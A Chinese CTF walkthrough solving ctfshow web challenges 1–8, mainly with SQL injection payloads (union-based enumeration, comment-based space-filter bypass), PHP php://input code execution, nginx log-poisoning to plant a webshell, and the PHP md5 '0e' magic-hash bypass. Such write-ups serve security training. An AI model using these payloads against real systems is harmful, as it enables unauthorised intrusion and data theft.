ctfshow-超详细通关教程-web(1~8)
快捷目录
web1
web2
web3
web4
web5
web6
web7
web8
1.web签到题
打开网址后出现如下界面。

查看一下网站源码

将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag

2.web2
打开网址如图。

首先用万能密码admin' or 1=1#测试一下。直接就进入了,可知存在sql注入。

判断列名数量
admin' or '1'='1' order by 1#
……
admin' or '1'='1' order by 3#(可以进入)
admin' or '1'='1' order by 4#(不可以进入)
由上可知可知有三列,接下来查找回显位置。
admin' or '1'='1' union select 1,2,3#

由上可知:回显位为2所在位置
爆库:admin' or 1=1 union select 1,database(),3#可知数据库名为web2

爆表:admin' or '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#可知表名为flag,user

爆字段:admin' or '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#可知字段名为flag

爆数据:admin' or '1'='1' union select 1,group_concat(flag),3 from flag#即可得到flag

3.web3
打开界面如图所示

看到include()猜测可能存在文件包含。
抓包并尝试利用php伪协议php://input,在请求体中放入php代码
点击查看代码
<?php system("ls")?>
然后使用POST方法提交

可知存在ctf_go_go_go,访问一下试试。

将flag收入囊中。
4.web4
和web3的网页别无二致。尝试使用相同方法,发现无用。
试试访问日志文件在url后添加?url=/var/log/nginx/access.log,进行访问,如图所示。

访问日志,进行抓包,尝试通过user-Agent写马。

使用蚁剑进行连接,可以找到flag.txt文件。

双击打开即可获得flag

5.web5
网址打开如图所示,是一段源码。

对代码进行分析,首先通过GET方式传入参数v1和v2,用isset()函数判断是否已设置并且不为null,若true,则利用ctype_alpha()函数判断v1是否为纯字母,利用is_numeric()函数判断v2是否为数字或数字字符串,再用md5()函数判断v1和v2的MD5加密值是否相等,若相等,则返回flag。
综上所述,想要获得flag,需要满足三个条件:
(1)v1的值是纯字母;
(2)v2的值是数字或数字字符串;
(3)v1和v2的MD5加密值必须相等。(PHP在处理哈希字符串时,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。)
针对上述情况,我们构造的payload如下:?v1=EEIZDOI&v2=240610708

成功获取到flag
6.web6
打开后是个登陆页面,先用万能密码进行测试。

发现出现注入错误的提示

在密码处用万能密码进行测试,发现也是注入错误,尝试在密码框输入空格,出现了黑点,可能是将空格过滤了,尝试抓包观察。结果不出所料,果然是将空格给过滤了。

此时要做的就是替换空格,能够替换空格的方式有许多种,此处仅使用注释符进行演示。
从此刻开始的注入流程与web2的相似。
判断列数:
点击查看代码
1'/**/or/**/1=1/**/order/**/by/**/3#
判断回显位:
点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/3#

爆库:
点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

爆表:
点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

爆字段:
点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

爆数据:
点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

7.web7
打开后随便点击,发现有id用来传参进而改变页面内容,可能存在sql注入。

经过测试此处同样过滤了空格(测试方法见web6)。同样使用注释符进行绕过。
使用1 and 1=1(正常)和1 and 1=2(不正常)进行判断,存在数值型注入。

判断列数:
点击查看代码
?id=1/**/order/**/by/**/3#
判断回显位:
点击查看代码
?id=1/**/union/**/select/**/1,2,3#

爆库:
点击查看代码
?id=-1/**/union/**/select/**/1,database(),version()#

爆表:
点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()

爆列名:
点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"

爆数据:
点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag

8.web8
页面与web7的一样,但是过滤了空格,and,union以及逗号,对其进行替换从而进行绕过即可。
过滤空格, 可以使用括号() 或者注释/**/ 绕过。
过滤and, 可以使用or替代。
过滤union, 可以用盲注替代联合注入。
过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替。
但手工进行注入就比较麻烦了,此时就显示出了脚本的重要性。这里我们使用网上给出的python脚本进行注入。
库名:web8

表名:flag,page,user

列名:flag

flag:ctfshow{ca4d3ee7-fa65-4118-8b64-01fa9dc1c380}

ctfshow-超详细通关教程-web(1~8)的更多相关文章
- ROS2的安装与使用(超详细图文教程)
ROS2的安装与使用(超详细图文教程) 如果前面的虚拟机以及Ubuntu22.04镜像都安装好了,根据目录直接跳到ROS2的安装. 资料参考于:古月居 VMware虚拟机的安装 安装地址: 对于不了解 ...
- VMware虚拟机下安装CentOS7.0超详细图文教程
1.本文说明: 官方的第一个文本档案.也就是0_README.txt,大概意思是这样(渣翻译,但是大概意思还是有的). CentOS-7.0-1406-x86_64-DVD.iso:这个镜像(DVD ...
- MySql5.6 Window超详细安装教程
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 目录 一.安装包准备二.开始安装三.验证安装四.客户端工具 一.安装包准备 1.下载MySql ...
- MySql5.6Window超详细安装教程(msi 格式的安装)
转自:红黑联盟 http://www.2cto.com/database/201506/409821.html 一.安装包准备 1.下载MySql5.6 http://www.mysql.com/ ...
- 在Ubuntu下进行XMR Monero(门罗币)挖矿的超详细图文教程
大家都知道,最近挖矿什么的非常流行,于是我也在网上看了一些大神写的教程,以及跟一些大神请教过如何挖矿,但是网上的教程都感觉写得不够详细,于是今天我这里整理一个教程,希望能够帮到想要挖矿的朋友. 首先, ...
- 超详细实战教程丨多场景解析如何迁移Rancher Server
本文转自Rancher Labs 作者介绍 王海龙,Rancher中国社区技术经理,负责Rancher中国技术社区的维护和运营.拥有6年的云计算领域经验,经历了OpenStack到Kubernetes ...
- 【建议收藏】Redis超详细入门教程大杂烩
写在前边 Redis入门的整合篇.本篇也算是把2021年redis留下来的坑填上去,重新整合了一翻,点击这里,回顾我的2020与2021~一名大二后台练习生 NoSQL NoSQL(NoSQL = N ...
- 最新MATLAB R2021b超详细安装教程(附完整安装文件)
摘要:本文详细介绍Matlab R2021b的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用. ...
- 最新MATLAB R2020b超详细安装教程(附完整安装文件)
摘要:本文详细介绍Matlab R2020b的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用. ...
- MATLAB R2019b超详细安装教程(附完整安装文件)
摘要:本文详细介绍Matlab的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用.本文目录如首页 ...
随机推荐
- 阿里云 EMAS Serverless 重磅发布
简介: EMAS Serverless 是阿里云提供的基于Serverless技术的一站式后端开发平台,为开发者提供高可用.弹性伸缩的云开发服务,包含云函数.云数据库.云存储.静态网站托管等功能,可用 ...
- 应用容灾中,MySQL数据表是否需要跨云同步?
简介: 容灾系统的重要目标在于保证系统数据和服务的"连续性".当系统发生故障时,容灾系统能够快速恢复服务和保证数据的有效性.为了防止天灾人祸.不可抗力,在同城或异地建立对应的IT系 ...
- 让容器跑得更快:CPU Burst 技术实践
简介:让人讨厌的 CPU 限流影响容器运行,有时人们不得不牺牲容器部署密度来避免 CPU 限流出现.我们设计的 CPU Burst 技术既能保证容器运行服务质量,又不降低容器部署密度.CPU Bur ...
- 表格存储 SQL 查询多元索引
简介: 多元索引是表格存储产品中一个重要的功能,多元索引使用倒排索引技术为表格存储提供了非主键列上的快速检索功能,另外也提供了统计聚合功能.表格存储近期开放了SQL查询功能,SQL引擎默认从原始表格 ...
- vue通过input选取图片,jq的ajax向服务器上传img
<template> <div class=""> <!-- 选择后预览 --> <img v-if="im ...
- 使用AI在原神里自动钓鱼,扫描Git仓库泄露的密码 【蛮三刀酱的Github周刊第三期】
大家好,这里是的Github精彩项目分享周刊,我是每周都在搬砖的蛮三刀酱. 我会从Github热门趋势榜里选出 高质量.有趣,牛B 的开源项目进行分享. 榜单取自实时Github Trending排行 ...
- 错误记录——mysql5.7连接失败,服务无法启动
起因: 上周安装完mysql后,成功新建了数据库,一切都是正常的,于是就先搁置一旁.今天周一过来,却突然发现无法连接mysql了. 过程: 第一反应是服务没有启动,毕竟重启了电脑,说不定是服务没有自动 ...
- kali 安装完不能使用 root 账户登录图形化界面(一直报错)
kali 安装完不能使用 root 账户登录图形化界面 在普通账户界面,先设置 root 账户密码:sudo passwd root 切换 root 账户登录:su root vim /etc/pam ...
- WEB服务与NGINX(16)-网站logo之favicon.ico文件
目录 1. 网站logo之favicon.ico文件 1.1 favicon.ico文件的作用 1.2 favicon.ico文件带来的问题 1. 网站logo之favicon.ico文件 1.1 f ...
- ctf_web
ctfshow web13 访问题目链接 一看是一道文件上传题,上传文件进行测试 上传php会显示 error suffix 因此推测会检测格式 当文件字数超出一定字数时,显示 error file ...